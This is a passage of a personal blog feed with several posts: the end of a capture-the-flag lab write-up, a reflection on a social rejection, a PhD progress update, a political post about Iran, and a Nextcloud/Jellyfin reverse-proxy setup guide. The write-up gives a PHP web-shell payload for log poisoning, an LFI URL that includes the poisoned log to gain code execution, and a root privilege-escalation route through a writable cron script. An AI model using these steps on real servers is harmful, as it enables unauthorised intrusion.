+    /var/log/nginx/ssl-$vhost.access.log
+    /var/log/nginx/ssl-$vhost.error.log
+-->
+

Four logs. Two pairs: HTTP and HTTPS (ssl-). The comment doesn’t say “don’t use SSL” — but the intended trick is to use the non-ssl access log.

+

Intended technique

+
    +
  1. +

    Poison over HTTP (port 80), not HTTPS — so nginx writes to the smaller vhost log:

    +
    /var/log/nginx/web.g00.tuw.measurement.network.access.log
    +
  2. +
  3. +

    Put PHP in the User-Agent (or another logged field):

    +
    <?php passthru($_GET['cmd']); ?>
    +

    Short tags like <?=`id`?> work too. Use quoted 'cmd' — bare $_GET[cmd] is a PHP 8 footgun.

    +
  4. +
  5. +

    Include that log through the same LFI bug:

    +
    https://web.g00.tuw.measurement.network/
    +  ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
    +  &cmd=id
    +
  6. +
+

On a fresh box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get www-data. That’s RCE. No pwreset required.

+

How I griefed myself

+ + + + + + + + + + + + + + + + + + + + + + + + + +
What I didWhy it hurt
Defaulted to https:// everywherePoison landed in ssl-web...access.log670 KB+ and growing
Included the ssl log via LFIOutput truncates around ~2 KB; poison sits at the tail
Fired dozens of test payloadsLeft broken <?php in the HTTP log ($_GET[cmd] without quotes, \x22, etc.) — PHP dies on the first bad tag before reaching a clean line
Didn’t read index.php source earlyMissed the debug comment until I’d already polluted both logs
+

Tobias’s take: that’s a feature. The box teaches you that ops mistakes compound — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.

+

If you’re solving it now

+
    +
  • Read index.php source first.
  • +
  • Poison on HTTP: http://web.g00.tuw.measurement.network/ with a clean User-Agent payload.
  • +
  • Include the non-ssl access log path from the comment.
  • +
  • Don’t spray malformed PHP into the log unless you enjoy debugging your own garbage.
  • +
+

I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.

+
+

12) TL;DR

+
    +
  • Read documentation.md — it tells you where the services live.
  • +
  • Read index.php source — the debug comment gives you the log paths.
  • +
  • Intended RCE = HTTP log poisoning → LFI include the non-ssl access log.
  • +
  • What I did = pwreset → userchange → cron (also works, not the intended first step).
  • +
  • Privesc = /usr/local/bin/cron_update_hostname_file.sh is world-writable and runs as root.
  • +
  • Griefing = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
  • +
  • Flag = concatenate all passwd_part slices + /root/passwd suffix.
  • +
+

If you’re doing this as part of the TU Wien lab: don’t touch other groups’ hosts, don’t break the infra, and maybe send Klaus a thank-you note for the cron job.

+

Happy hacking. 🔓

+
+

Thanks to Tobias Fiebig for the delightfully cursed “real world” box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
+jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX
+91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1
+iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
+35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R
+FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
+oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+
+zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+
+//J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K
+MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS
+YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG
+zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
+=BDGe
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md
+curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md.asc
+gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
+  
+
+ + +]]>
Face of Rejectionhttps://blog.alipour.eu/archive/face_of_rejection/Sun, 10 May 2026 22:46:10 +0000https://blog.alipour.eu/archive/face_of_rejection/<p>Now that I&rsquo;ve had some time to process, I think it&rsquo;s good to write down this sad experience. +First things first, I do know that I stand by my decision. +I strongly believe whatever the f*** our interactions were, they were not of any use for me. +Like what&rsquo;s the point of waving at each other when we meet, say hello and ask how we are, etc., if ther is literally nothing else to it. +If we would never enter eachother&rsquo;s social cycle. +I don&rsquo;t know how to put the thing I want to say into words, but usually the way friendships go, at least for me, is that when you plan stuff with your friends, you tell your friends. +Hm&hellip; ok, it still doesn&rsquo;t make sense. +Let me think if I can say it better or not. +Ok, let&rsquo;s say you this person X. +Imagine you interact with person X, talk to them, etc., but then that&rsquo;s it, it is limited to &ldquo;talking&rdquo;. +You count person X as a friend, but they are never invited to anything. +They are kept at arms distance. +Now I would assume it&rsquo;s fun for many many people, but me&hellip; +I already have a small social cycle. +It requires so much energy for me to start new connections, connections that are worth keeping. +I don&rsquo;t want to be a docker container. +Some isolated thing that is only interacted with when needed. +But I think I communicated this so badly, that it came off wrong. +To be honest, even my therapist didn&rsquo;t seem to believe me when I said I wanted to be included in her social circle. +He though it was an attempt by me to poke her. +I do strongly believe this wasn&rsquo;t the case, but I&rsquo;m too hurt to try to defend myself. +I also highly doubt defending myself would work, it would just add more pressure, and harder rejection.</p>Now that I’ve had some time to process, I think it’s good to write down this sad experience. +First things first, I do know that I stand by my decision. +I strongly believe whatever the f*** our interactions were, they were not of any use for me. +Like what’s the point of waving at each other when we meet, say hello and ask how we are, etc., if ther is literally nothing else to it. +If we would never enter eachother’s social cycle. +I don’t know how to put the thing I want to say into words, but usually the way friendships go, at least for me, is that when you plan stuff with your friends, you tell your friends. +Hm… ok, it still doesn’t make sense. +Let me think if I can say it better or not. +Ok, let’s say you this person X. +Imagine you interact with person X, talk to them, etc., but then that’s it, it is limited to “talking”. +You count person X as a friend, but they are never invited to anything. +They are kept at arms distance. +Now I would assume it’s fun for many many people, but me… +I already have a small social cycle. +It requires so much energy for me to start new connections, connections that are worth keeping. +I don’t want to be a docker container. +Some isolated thing that is only interacted with when needed. +But I think I communicated this so badly, that it came off wrong. +To be honest, even my therapist didn’t seem to believe me when I said I wanted to be included in her social circle. +He though it was an attempt by me to poke her. +I do strongly believe this wasn’t the case, but I’m too hurt to try to defend myself. +I also highly doubt defending myself would work, it would just add more pressure, and harder rejection.

+

Now the interesting part is my reaction. “Withdrawal”. +The lesson I learned from past experiences is that explaining yourself or trying to fix things just results in more pain for you, and nothing being fixed. +But this was strong. +I did not want to respond. +In fact, my first reaction was to delete the platform, not to be able to see the message to get hurt. +During my therappy though, I did open the message. +I went silent. +I tried to process. +The weight of that was heavy. +It became hard to talk. +Hard to reason. +It was just…. sad.

+

Going forward I know that the best way forward for me is to stop any communications with her. +It is sad, this losing of a friend, but let’s be honest, were we friends? +No. +Not my definition of friendship. +And honestly, this should be a hard line for me, I don’t care how you define friendship. +If it isn’t mutual, it isn’t good enough for me. +I need to be more dominant, and less scared. +My lines are my lines, and they are not to be negotiated with. +I need to remain strong, and just let go.

+

I just realized I did not even talk about what happened. +LMAO. +Long story short, there was this person who I knew for some time. +We used to exchange messages every once in a while. +I asked if we would be spending time together, or with each other’s social circle, which to be honest came out super wrong :)))))) +I wasn’t trying to ask her out. +I just wanted to be included in some of the social gatherings with her social circle. +To expand mine. +To get to see new people. +Call me an idiot, or whatever, but I didn’t know how to put this into words. +And I did not do it correctly it seems as I got “rejected”. +But as my friend says, “better a sad ending, than a never ending sadness”. +I wansn’t trying to ask her out, but my social skills are so bad that it came so so wrongly.

+

I do stand by my decision though. +No more interactions with her. +Nothing. +I need to become friends with people that don’t keep me isolated, or stored for their needs. +It should be mutual. +At least, whatever interactions we had, had nothing useful for me. +If anything, it just hurt me by showing how lonely I am. +You can argue that is a good thing to at least figure it out, and I would argue why would I keep being fed this thing if there is no levy for me out? +If I’m not being helped. +If I’m being kept at arms distance. +If I’m being isolated. +I’m no docker process who should be kept isolated. +I’m the kernel module.

+

This came out weird coming from me, but it is what it is :) +I should, and need to say “I” sometimes. +I need to assert dominance, to show I’m in control, to show I’m happy, to show everything is fine.

+
+
+

Downloads: + Markdown · + Signature (.asc) +

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/archive/face_of_rejection.md
+curl -fSLO https://blog.alipour.eu/sources/archive/face_of_rejection.md.asc
+gpg --verify face_of_rejection.md.asc face_of_rejection.md
+  
+
+ + +]]>
April '26https://blog.alipour.eu/phd_journey/april_2026/Sun, 03 May 2026 03:26:09 +0000https://blog.alipour.eu/phd_journey/april_2026/<p>I know, I know. I&rsquo;ve been lacking updates. I&rsquo;m so so sorry. I will try to summerize what I&rsquo;ve been up tp in the past few months.</p> +<p>Up until the middle of March, I&rsquo;ve been taking care of the last bits of coursework I had to do during my prep phase. And now I&rsquo;m done with that all together.</p> +<p>I took ML in cysec which was very much aligned to the type of research I do. They try to get around IDS, and I try to get around censorship setup which is pretty much the same idea. I learned so so incredibly much from the course. It was awesome! I then had a block seminar called Routerlab in which I just did very well. It was fun in the sense that we got to touch and use real hardware. We also did so much that I didn&rsquo;t know much about. Though no mail server for me unfortunately.</p>I know, I know. I’ve been lacking updates. I’m so so sorry. I will try to summerize what I’ve been up tp in the past few months.

+

Up until the middle of March, I’ve been taking care of the last bits of coursework I had to do during my prep phase. And now I’m done with that all together.

+

I took ML in cysec which was very much aligned to the type of research I do. They try to get around IDS, and I try to get around censorship setup which is pretty much the same idea. I learned so so incredibly much from the course. It was awesome! I then had a block seminar called Routerlab in which I just did very well. It was fun in the sense that we got to touch and use real hardware. We also did so much that I didn’t know much about. Though no mail server for me unfortunately.

+

I was then approached by a colleague who’s research needed a bit of push to get to the IMC deadline, and we pushed “HARD”. We submitted the paper with so much chaos I would say. But we did it.

+

Now I wonder, both my research projects that I’ve been working on feel like there are more advanced than what we submitted, then we am I not drafting papers for them?! I will talk to my advisor about this. :)

+

I also kinda started a new project, or at least we have floated the idea of, which sounds exciting. I would be working with one of my favorite group members. A true nerd! :)

+

I will try to be more consistant throughout May by providing updates. Please cross your fingers for me! :D

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM
+jSo5RA/6AuVU66S+Io6igMjGYrllC4bO4bWusSWwCUdbnqe7j1cewMBJwciI1O9y
+fCQGlzP//JW3MKhAfI6uJRKNlTCIpDjMmRiivu7nmZRJKCsomOmdmThNwddaJIQ/
+vnaalb9NgZB7xp6WtU/FUUuXEls6S8l0A+RNCQvo33+U+JiH5YbFUbXQkbjggTcP
+GGrA8JYXBQvIdHN6xAvGbLhuYnyc9KNayUOdp3FK6ecMzIhT1pZ/O/pE2J+kKRif
+vQyuWINpZZWxSV8+UMSmuwqBDvdVthWGezxS3/Kr3V/Y3OPJkfsv121hQkoyGhmM
+1CXfwtD6I9aUHiuQfC5PW/zKYyujhoQ8RDPjK6IQ5jcjSeAE16h0O9MYFtbbrJqq
+AhP8p+XIL9J0xuwLqsN1wHhnd1COo/fpa0q8P5YsFi+F+sQmIX1waNiM2Bc69ZBh
+S+DcTUF4MsSSWFFfrts7BuXZQDFWqfEavqvSPQ3BRl/6QHZXmWtKGMb6o+GZSxRI
+hTTy7SSjCVR5TwCIcTExOe6NxbSJhR/7RwPwbvfoLS3Tji7WmDOD6qeFZY9G8Tyw
+vr9LIXqyrjKcltjpj6UEtjy3+sXYPxw2XL0bdjlzdgg4afI7gJ9+b2QjHKYYYy8H
+DjdPpaWlQvkGOBkfM+11Cwn5Q7U5+VdY+Qil0Qc/g2Ksl77/nvQ=
+=Wtha
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/PhD_journey/April_2026.md
+curl -fSLO https://blog.alipour.eu/sources/PhD_journey/April_2026.md.asc
+gpg --verify April_2026.md.asc April_2026.md
+  
+
+ + +]]>
H3ll0 Fr1endhttps://blog.alipour.eu/posts/h3ll0_fr1end/Sat, 02 May 2026 16:17:02 +0000https://blog.alipour.eu/posts/h3ll0_fr1end/<p>Hello friends. I&rsquo;m back. It&rsquo;s been&hellip; let&rsquo;s say, a shit show. My beloved country was attacked by two extremely strong foreign armies in the midst of a revolution. A revolution I deemed i woulld succeed, but now I&rsquo;m so so confused. The royalists, the radical fascist rights, gathered behind the former King of Iran. A fucking ruthless dictator. Someone who created the scariest of spider webs in Iran, the effect of which layed it&rsquo;s shadow over the country for decades. It&rsquo;s funny how his father (I&rsquo;m talking about the grandfather of this guy) was a traitor, and a ruthless dictator of his own. The difference was that he actually loved the country and although ruled with an iron fist, he actually tried to make the country great. Now let me be honest, the guy was an idiot for many many reasons, siding with the allies by providing them infrastructure at the cost of his own people&rsquo;s lives, and then selling people&rsquo;s food to make money off of England was just utterly messed up. But this guy (the son of the former King) is probably the most incompetence creature on this world. So badly incompetence that no mentally sane foreign leader even sees the guy. With all of the money given to him throughout the years, it&rsquo;s not clean what the fuck his been up to. His eyes blinded be revenge, and his head dreaming of ruling a country that he clearly does not &ldquo;own&rdquo; makes him the best candidate for exploitation. And he has shown this very well.</p>Hello friends. I’m back. It’s been… let’s say, a shit show. My beloved country was attacked by two extremely strong foreign armies in the midst of a revolution. A revolution I deemed i woulld succeed, but now I’m so so confused. The royalists, the radical fascist rights, gathered behind the former King of Iran. A fucking ruthless dictator. Someone who created the scariest of spider webs in Iran, the effect of which layed it’s shadow over the country for decades. It’s funny how his father (I’m talking about the grandfather of this guy) was a traitor, and a ruthless dictator of his own. The difference was that he actually loved the country and although ruled with an iron fist, he actually tried to make the country great. Now let me be honest, the guy was an idiot for many many reasons, siding with the allies by providing them infrastructure at the cost of his own people’s lives, and then selling people’s food to make money off of England was just utterly messed up. But this guy (the son of the former King) is probably the most incompetence creature on this world. So badly incompetence that no mentally sane foreign leader even sees the guy. With all of the money given to him throughout the years, it’s not clean what the fuck his been up to. His eyes blinded be revenge, and his head dreaming of ruling a country that he clearly does not “own” makes him the best candidate for exploitation. And he has shown this very well.

+

The occasion is super grim. Radical right wants to oust radical right. LMFAOOOOO. I honestly think Iranian people are just far far divided, and both sides are utterly culturally underdeveloped. Anger has blinded their eyes, and they made a deal with the devil. The end will not be any good either. I have no hopes for the country anymore.

+

It’s so so sad that I’m siding the with this disgusting theocratic regime, just because they have not folded in front of the ones who do not care the least about Iran. Those who want to create a fail state, and expand their borders. It’s so sad that every time the country tried to move toward democracy, the people got fucked by a foreign power. The current revolution, the uprisings of 2023-4, JCPOA, …, Persian Constitutional Revolution, etc.. So fucking sad.

+

The saddest part is with how much Iran has gotten fucked over the decades, and how far right this regisme has become, I don’t think the people will ever have the possibility of making change from within for many many more years to come. And foreign intervention just fuels the current regime’s influence over it’s people.

+

Another reason why we got so screwed is Oil. The curse of resources is sadly a thing that can cause what you see. A defiant regime, who rules bruttally against it’s own people. Years of stagflation, and no bright light in sight.

+

Anyway, I just wanted to write something as I was very much inactive for the past few months. I submitted a paper this week, and have big big plans for my own projects. :)

+

Unfortunately not advancement on the dating lifepart. Dating sucks for avg boys like me! Cross your fingers please! :D:D

+

I honestly also don’t feel like proofreading the text, so… there would be many mistakes. :) And honestly, idc.

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM
+jSrREBAAlQM2XgTsOiyZ9MkFSkJ47nsvh9rqslZMdQkfHyHwUBAFdjUfx18ZFvRK
+5JOxVAUAk1R8GOzr8LqTVeBMEmztnBFrYcnzXo0wfbydPt6IdgmCNQMAYHw/y/Pz
+Ncqa1n+O/lOyAWm2kMEwtNEqAj9TB48LxF53DCzpFO/mjr80aBYhVPQN4GlqMs9l
+rsY6qy0LbzC3FPtw0DdxEVr8seL7qYZc34tnTtsGFdxoalbS+K5uanIieb1qQ5Rw
+z6UNkiCqUJQVVsZc04PlzBQfghRwifwgwuh2rDh1yl9cClgE4Gu2QmATq+8+ozH+
+0XME9Dy/xEhbFay5FphJ7u8BoxCEkuLRmYjfYxkXB8N81uSCMitxKywsL5Bn/Mwb
+4bXwNsJUqeNC7UIWnaMoEzy9aR53BRsOEZdEMY+1Ade+vRbuQOxTq70prw9efUnM
+XraZbBSSERV9v8d16A4ZA3hn6PsbvACYAa72FzrlrZhgeSMgagoLp+QWcUBiRZCS
+/mNXcSn04Ep/o9EuFZZyxRPGx0fFXO2ZNjN/WpctIb8qlNyoqMhyMb4NXJXrr/d1
+wY3LJjmn8UM+MOi0CRBYg0B0He4AnGsKD2ARncv6s3vPwPWr95p6jhThOZ/3wqyM
+QGESlBJ5rM/PmozfLI5D+I+YuX9HM8VO1/HcP28U11lfGCm48YA=
+=7md6
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/h3ll0_fr1end.md
+curl -fSLO https://blog.alipour.eu/sources/posts/h3ll0_fr1end.md.asc
+gpg --verify h3ll0_fr1end.md.asc h3ll0_fr1end.md
+  
+
+ + +]]>
Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfinhttps://blog.alipour.eu/posts/pi_service_touchup/Mon, 02 Feb 2026 00:00:00 +0000https://blog.alipour.eu/posts/pi_service_touchup/Cloudflare DNS + Nginx on a VPS + Tailscale to the Pi. Small, boring, and reliable. +

I didn’t “move Nextcloud to the cloud”.
+I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄

+

This post documents the setup I ended up with:

+
    +
  • A public VPS (host: funbox) running Nginx + Let’s Encrypt
  • +
  • A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …)
  • +
  • A private backhaul using Tailscale (the 100.x.y.z network)
  • +
  • A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values)
  • +
  • A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin
    +(in addition to Jellyfin’s own login)
  • +
+

I’m writing this as a “future me” note and a “copy-paste friendly” guide.

+
+

0) Topology

+

The request path looks like:

+
Browser
+  ↓ HTTPS (public)
+Cloudflare DNS (optional proxy on/off)
+  ↓
+VPS (funbox) — Nginx reverse proxy + Let's Encrypt
+  ↓ HTTP over Tailscale (private 100.x network)
+Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / …
+

Why I like it:

+
    +
  • The Pi can sit behind home router / CGNAT and still be reachable.
  • +
  • TLS, redirects, headers, auth, rate limits… all centralized on the VPS.
  • +
  • Internal IPs can change without breaking public URLs.
  • +
+
+

1) What’s running on the Pi?

+

On iot-hub the “interesting” containers are:

+
    +
  • nextcloud (Apache variant)
  • +
  • nextcloud-db (Postgres)
  • +
  • nextcloud-redis
  • +
  • jellyfin
  • +
+

Example docker ps style output (yours may vary):

+
nextcloud         nextcloud:apache     0.0.0.0:8080->80/tcp
+jellyfin          jellyfin/jellyfin    0.0.0.0:8096->8096/tcp
+

So on the Pi, the services listen on:

+
    +
  • http://<pi>:8080 for Nextcloud
  • +
  • http://<pi>:8096 for Jellyfin
  • +
+

But in my setup, the VPS does not reach those via LAN — it reaches them via Tailscale IPs.

+
+

2) Tailscale: the private wire between VPS and Pi

+

Tailscale assigns each node an address like 100.xx.yy.zz.

+

In my config, Nginx on funbox points to the Pi via Tailscale:

+
    +
  • Nextcloud upstream: http://100.104.127.96:8080
  • +
  • Jellyfin upstream: http://100.104.127.96:8096
  • +
+

(Use the Tailscale IP of your Pi.)

+

Quick sanity checks from the VPS:

+
# from funbox, make sure you can reach the Pi service:
+curl -I http://100.104.127.96:8080
+curl -I http://100.104.127.96:8096
+

If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online).

+
+

3) Nginx on the VPS: reverse proxy blocks

+

3.1 Nextcloud vhost (VPS → Pi via Tailscale)

+

Create (or edit):

+

/etc/nginx/sites-available/nextcloud.alipourimjourneys.ir

+

and symlink into sites-enabled.

+

Here is a complete working example:

+
# Redirect HTTP → HTTPS
+server {
+    listen 80;
+    listen [::]:80;
+    server_name nextcloud.alipourimjourneys.ir;
+
+    return 301 https://$host$request_uri;
+}
+
+server {
+    listen 443 ssl;
+    listen [::]:443 ssl;
+    server_name nextcloud.alipourimjourneys.ir;
+
+    # Certbot-managed certs
+    ssl_certificate     /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem;
+    ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem;
+    include             /etc/letsencrypt/options-ssl-nginx.conf;
+    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
+
+    # Big uploads (tune to taste)
+    client_max_body_size 2G;
+
+    # CalDAV/CardDAV redirects
+    location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; }
+    location = /.well-known/caldav  { return 301 https://$host/remote.php/dav/; }
+
+    location / {
+        proxy_pass http://100.104.127.96:8080;
+
+        proxy_http_version 1.1;
+
+        proxy_set_header Host              $host;
+        proxy_set_header X-Real-IP         $remote_addr;
+        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
+        proxy_set_header X-Forwarded-Proto $scheme;
+
+        # Sometimes helps apps behind multiple proxies
+        proxy_set_header X-Forwarded-Host  $host;
+        proxy_set_header X-Forwarded-Port  $server_port;
+
+        # Nextcloud + WebDAV can do long requests
+        proxy_read_timeout 3600;
+        proxy_send_timeout 3600;
+
+        # Usually good for DAV/uploads
+        proxy_buffering off;
+        proxy_request_buffering off;
+    }
+}
+

Then test + reload:

+
sudo nginx -t
+sudo systemctl reload nginx
+

3.2 Jellyfin vhost (with Basic Auth)

+

Create:

+

/etc/nginx/sites-available/jellyfin.alipourimjourneys.ir

+

Example:

+
server {
+    listen 80;
+    listen [::]:80;
+    server_name jellyfin.alipourimjourneys.ir;
+    return 301 https://$host$request_uri;
+}
+
+server {
+    listen 443 ssl;
+    listen [::]:443 ssl;
+    server_name jellyfin.alipourimjourneys.ir;
+
+    ssl_certificate     /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem;
+    ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem;
+    include             /etc/letsencrypt/options-ssl-nginx.conf;
+    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
+
+    client_max_body_size 512M;
+
+    # ✅ Basic Auth gate (extra layer before Jellyfin)
+    auth_basic "Jellyfin (private)";
+    auth_basic_user_file /etc/nginx/.htpasswd-jellyfin;
+
+    location / {
+        proxy_pass http://100.104.127.96:8096;
+        proxy_http_version 1.1;
+
+        proxy_set_header Host              $host;
+        proxy_set_header X-Real-IP         $remote_addr;
+        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
+        proxy_set_header X-Forwarded-Proto $scheme;
+
+        # Jellyfin uses websockets
+        proxy_set_header Upgrade $http_upgrade;
+        proxy_set_header Connection "upgrade";
+
+        proxy_read_timeout 3600;
+        proxy_send_timeout 3600;
+
+        proxy_buffering off;
+    }
+}
+

Enable:

+
sudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/
+sudo nginx -t
+sudo systemctl reload nginx
+

+

4) Creating the Basic Auth password file

+

Install tools (Debian/Ubuntu):

+
sudo apt-get update
+sudo apt-get install -y apache2-utils
+

Create the password file:

+
sudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername
+

(If adding more users later, omit -c.)

+

Lock it down:

+
sudo chown root:root /etc/nginx/.htpasswd-jellyfin
+sudo chmod 640 /etc/nginx/.htpasswd-jellyfin
+

Notes on clients

+
    +
  • Most browsers + most Jellyfin apps handle HTTP Basic Auth fine.
  • +
  • Some TV apps can be quirky. If a client can’t handle it, you can: +
      +
    • remove Basic Auth, or
    • +
    • keep it only on selected paths, or
    • +
    • use Cloudflare Access in front of Jellyfin instead (more work).
    • +
    +
  • +
+
+

5) Nextcloud: configure it to behave behind the reverse proxy

+

Nextcloud needs to know:

+
    +
  • what hostnames are valid,
  • +
  • which proxy is trusted,
  • +
  • and what the “outside” URL scheme is.
  • +
+

You can do it via occ inside the container (Apache image uses www-data).

+

5.1 trusted_domains

+

Check current values:

+
docker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains
+

Add your public domain:

+
docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value="nextcloud.alipourimjourneys.ir"
+

(Keep your internal name too if you still use it, e.g. rpi:8080.)

+

5.2 trusted_proxies

+

Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP.

+

Example:

+
docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value="100.99.79.75"
+

(Use the VPS’s Tailscale IP as seen from the Pi.)

+

5.3 overwritehost / overwriteprotocol / overwrite.cli.url

+

Tell Nextcloud “the world sees me as https://nextcloud.example”:

+
docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value="nextcloud.alipourimjourneys.ir"
+docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value="https"
+docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value="https://nextcloud.alipourimjourneys.ir"
+

5.4 forwarded_for_headers (optional, but often helpful)

+
docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value="HTTP_X_FORWARDED_FOR"
+

Restart Nextcloud container after config:

+
docker restart nextcloud
+

+

6) Sanity checks (curl is your friend)

+

From anywhere public:

+
curl -I http://nextcloud.alipourimjourneys.ir
+curl -I https://nextcloud.alipourimjourneys.ir
+curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav
+

Expected “good signs”:

+
    +
  • HTTP returns 301 to HTTPS
  • +
  • HTTPS returns 302 to /login (or 200 if already authenticated)
  • +
  • /.well-known/caldav returns 301 to /remote.php/dav/
  • +
+

If you see redirect loops or wrong hostnames:

+
    +
  • revisit overwritehost, overwriteprotocol, trusted_proxies.
  • +
+
+

7) “Do I really need Cloudflare Access / WARP?”

+

The honest answer

+

If your setup is:

+
    +
  • HTTPS only
  • +
  • strong passwords + MFA in Nextcloud/Jellyfin
  • +
  • your origin isn’t directly exposed (only the VPS is public)
  • +
  • you keep things patched
  • +
+

…then you’re already in a reasonable place.

+

“Can I skip Cloudflare Access?”

+

Yes. In this topology, Cloudflare Access is optional. The main security boundary is:

+
    +
  • Public: VPS + Nginx
  • +
  • Private: Pi over Tailscale
  • +
+

For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”.

+
+

8) Cloudflare Access: One-time PIN not arriving + passkeys

+

Two common gotchas:

+

8.1 One-time PIN email didn’t arrive

+

That flow relies on email delivery. Check:

+
    +
  • spam/junk folder
  • +
  • if your provider blocked it
  • +
  • the exact email allowlist in your policy
  • +
+

If it’s flaky, I’d avoid One-time PIN and use a real identity provider.

+

8.2 Can I use passkeys / Apple / Google?

+

Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys. +Practical approach:

+
    +
  • pick what your family already uses (Google or Apple),
  • +
  • configure that as the login method,
  • +
  • avoid WARP enrollment unless you specifically want device-based access.
  • +
+
+

9) Hardening checklist (tiny but effective)

+

On the VPS:

+
    +
  • Keep Ubuntu security updates on
  • +
  • firewall: allow only what you need (22/80/443)
  • +
  • optional: fail2ban for SSH
  • +
+

On the Pi:

+
    +
  • keep Docker images updated
  • +
  • Postgres/Redis not exposed publicly (Docker internal network)
  • +
  • backups: Nextcloud data + DB
  • +
+
+

10) TL;DR

+
    +
  • VPS Nginx terminates TLS, proxies to Pi over Tailscale
  • +
  • Nextcloud must be told about: +
      +
    • trusted_domains
    • +
    • trusted_proxies
    • +
    • overwrite values (overwritehost, overwriteprotocol, overwrite.cli.url)
    • +
    +
  • +
  • curl -I should show sane redirects + /remote.php/dav/
  • +
  • Jellyfin gets an extra gate with Nginx Basic Auth
  • +
+

Boring is good. Boring runs for months.

+
+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
+jSomZA/+LsB+V0BnPki5qaDc+tRu6EXM5kPuH7G8x5ar4opsKgbfsRKEwT6/Q0Er
+vfg48uYNp4fBnoyfJrgURx+OwS7EVJRCmXaRsdilEEGHF7cT3qHhlczYaC+58lGs
++qXaHjYE8x0byAZ8iHNxNUhIyILVrcsdua3JZ3D3J/8r93dfVgrWg41Nrtj4tPUE
+QQMW/KxTe/TOED4iivXxFlDCiT13KmgB/B9HeunGPqu8lPMTORf4ePoPzeYEeuuZ
